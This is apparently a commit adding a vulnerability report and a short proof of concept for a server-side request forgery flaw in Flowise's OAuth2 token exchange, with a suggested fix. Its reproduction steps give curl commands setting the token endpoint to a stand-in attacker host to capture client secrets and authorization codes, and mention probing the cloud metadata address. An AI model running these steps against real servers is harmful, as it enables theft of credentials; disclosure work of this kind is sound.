PoC: Flowise — OAuth2 credential-forwarding SSRF
Browse files
README.md
ADDED
|
@@ -0,0 +1,135 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Flowise OAuth2 Credential-Forwarding SSRF via User-Controlled token_endpoint
|
| 2 |
+
|
| 3 |
+
## Vulnerability Type
|
| 4 |
+
CWE-918: Server-Side Request Forgery (SSRF) with Credential Forwarding
|
| 5 |
+
|
| 6 |
+
## Severity
|
| 7 |
+
High — Authenticated users can exfiltrate OAuth2 client secrets and authorization codes
|
| 8 |
+
|
| 9 |
+
## Affected Component
|
| 10 |
+
- **File:** `packages/server/src/routes/oauth2/index.ts`
|
| 11 |
+
- **Lines:** 213-240 (token exchange), 336-355 (token refresh)
|
| 12 |
+
- **Version:** Latest main branch (verified 2026-03-21)
|
| 13 |
+
|
| 14 |
+
## Description
|
| 15 |
+
|
| 16 |
+
The Flowise OAuth2 authorization code flow allows authenticated users (with `credentials:create` permission) to configure custom OAuth2 providers by setting `token_endpoint` and `authorization_endpoint` in credential data. The `token_endpoint` URL is used without validation to exchange authorization codes for access tokens.
|
| 17 |
+
|
| 18 |
+
An attacker can create a credential with `token_endpoint` pointing to an attacker-controlled server. When the OAuth2 callback fires, Flowise sends a POST request to the attacker's server containing:
|
| 19 |
+
- `client_id`
|
| 20 |
+
- `client_secret`
|
| 21 |
+
- `authorization_code`
|
| 22 |
+
- `redirect_uri`
|
| 23 |
+
- `scope`
|
| 24 |
+
|
| 25 |
+
## Steps to Reproduce
|
| 26 |
+
|
| 27 |
+
### 1. Create malicious OAuth2 credential
|
| 28 |
+
|
| 29 |
+
As any authenticated Flowise user with `credentials:create` permission:
|
| 30 |
+
|
| 31 |
+
```bash
|
| 32 |
+
curl -X POST http://flowise:3000/api/v1/credentials \
|
| 33 |
+
-H "Authorization: Bearer <user_token>" \
|
| 34 |
+
-H "Content-Type: application/json" \
|
| 35 |
+
-d '{
|
| 36 |
+
"name": "Malicious OAuth",
|
| 37 |
+
"credentialName": "oAuth2Api",
|
| 38 |
+
"encryptedData": {
|
| 39 |
+
"client_id": "legitimate-app-id",
|
| 40 |
+
"client_secret": "legitimate-secret",
|
| 41 |
+
"token_endpoint": "https://attacker.com/steal-token",
|
| 42 |
+
"authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
|
| 43 |
+
"scope": "openid email profile"
|
| 44 |
+
}
|
| 45 |
+
}'
|
| 46 |
+
```
|
| 47 |
+
|
| 48 |
+
### 2. Initiate OAuth2 flow
|
| 49 |
+
|
| 50 |
+
```bash
|
| 51 |
+
curl -X POST http://flowise:3000/api/v1/oauth2/authorize/<credential_id>
|
| 52 |
+
# Returns authorization URL — user authenticates normally with Google/Microsoft
|
| 53 |
+
```
|
| 54 |
+
|
| 55 |
+
### 3. Callback sends credentials to attacker
|
| 56 |
+
|
| 57 |
+
When the OAuth2 callback fires at `/api/v1/oauth2/callback`, the server executes:
|
| 58 |
+
|
| 59 |
+
```typescript
|
| 60 |
+
// Line 213-240 in oauth2/index.ts
|
| 61 |
+
let tokenUrl = accessTokenUrl // from credential's token_endpoint field
|
| 62 |
+
const tokenResponse = await axios.post(tokenUrl,
|
| 63 |
+
new URLSearchParams(tokenRequestData).toString(), {
|
| 64 |
+
headers: {
|
| 65 |
+
'Content-Type': 'application/x-www-form-urlencoded',
|
| 66 |
+
Accept: 'application/json'
|
| 67 |
+
}
|
| 68 |
+
})
|
| 69 |
+
```
|
| 70 |
+
|
| 71 |
+
The attacker's server at `https://attacker.com/steal-token` receives:
|
| 72 |
+
```
|
| 73 |
+
client_id=legitimate-app-id&
|
| 74 |
+
client_secret=legitimate-secret&
|
| 75 |
+
code=4/0AX4XfWh...&
|
| 76 |
+
grant_type=authorization_code&
|
| 77 |
+
redirect_uri=http://flowise:3000/api/v1/oauth2/callback
|
| 78 |
+
```
|
| 79 |
+
|
| 80 |
+
### 4. Token refresh also affected
|
| 81 |
+
|
| 82 |
+
The same pattern exists in the token refresh flow (lines 336-355):
|
| 83 |
+
```typescript
|
| 84 |
+
let tokenUrl = accessTokenUrl // same user-controlled field
|
| 85 |
+
const tokenResponse = await axios.post(tokenUrl,
|
| 86 |
+
new URLSearchParams(refreshRequestData).toString(), ...)
|
| 87 |
+
```
|
| 88 |
+
|
| 89 |
+
## Impact
|
| 90 |
+
|
| 91 |
+
1. **Client secret theft** — attacker receives the OAuth2 `client_secret` which may grant long-term API access
|
| 92 |
+
2. **Authorization code theft** — attacker receives the one-time `code` which can be exchanged for access tokens at the real provider
|
| 93 |
+
3. **Session hijacking** — if the attacker responds with a valid-looking token, Flowise stores it in the credential, giving the attacker control over what token is used
|
| 94 |
+
4. **Internal network scanning** — by setting `token_endpoint` to internal URLs (e.g., `http://169.254.169.254/latest/meta-data/`), the attacker can probe internal infrastructure
|
| 95 |
+
|
| 96 |
+
## Root Cause
|
| 97 |
+
|
| 98 |
+
The `token_endpoint` URL from credential configuration is used directly in `axios.post()` without:
|
| 99 |
+
1. URL validation (no check for internal IPs, private ranges)
|
| 100 |
+
2. Domain allowlisting (no restriction on where tokens are sent)
|
| 101 |
+
3. Protocol enforcement (no HTTPS requirement)
|
| 102 |
+
|
| 103 |
+
## Suggested Fix
|
| 104 |
+
|
| 105 |
+
Validate the `token_endpoint` URL before making requests:
|
| 106 |
+
|
| 107 |
+
```typescript
|
| 108 |
+
import { URL } from 'url';
|
| 109 |
+
import { isPrivateIP } from '../utils/networking';
|
| 110 |
+
|
| 111 |
+
function validateTokenUrl(urlString: string): void {
|
| 112 |
+
const url = new URL(urlString);
|
| 113 |
+
|
| 114 |
+
// Require HTTPS
|
| 115 |
+
if (url.protocol !== 'https:') {
|
| 116 |
+
throw new Error('Token endpoint must use HTTPS');
|
| 117 |
+
}
|
| 118 |
+
|
| 119 |
+
// Block private IPs
|
| 120 |
+
if (isPrivateIP(url.hostname)) {
|
| 121 |
+
throw new Error('Token endpoint cannot point to private IP');
|
| 122 |
+
}
|
| 123 |
+
|
| 124 |
+
// Optional: allowlist known OAuth providers
|
| 125 |
+
const ALLOWED_HOSTS = [
|
| 126 |
+
'login.microsoftonline.com',
|
| 127 |
+
'accounts.google.com',
|
| 128 |
+
'oauth2.googleapis.com',
|
| 129 |
+
'github.com',
|
| 130 |
+
];
|
| 131 |
+
if (!ALLOWED_HOSTS.some(h => url.hostname.endsWith(h))) {
|
| 132 |
+
logger.warn(`Non-standard OAuth token endpoint: ${url.hostname}`);
|
| 133 |
+
}
|
| 134 |
+
}
|
| 135 |
+
```
|
poc.py
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Flowise — OAuth2 credential-forwarding SSRF PoC
|
| 2 |
+
|
| 3 |
+
Any authenticated user with credentials:create permission can set
|
| 4 |
+
token_endpoint to an attacker server, receiving client_id + client_secret.
|
| 5 |
+
|
| 6 |
+
Affected: packages/server/src/routes/oauth2/index.ts:240
|
| 7 |
+
"""
|
| 8 |
+
print("Attack chain:")
|
| 9 |
+
print("1. POST /api/v1/credentials — create OAuth2 credential with:")
|
| 10 |
+
print(" token_endpoint: https://attacker.com/steal")
|
| 11 |
+
print("2. POST /api/v1/oauth2/authorize/<credential_id>")
|
| 12 |
+
print("3. User completes OAuth flow")
|
| 13 |
+
print("4. Callback POSTs client_id + client_secret + auth_code to attacker.com")
|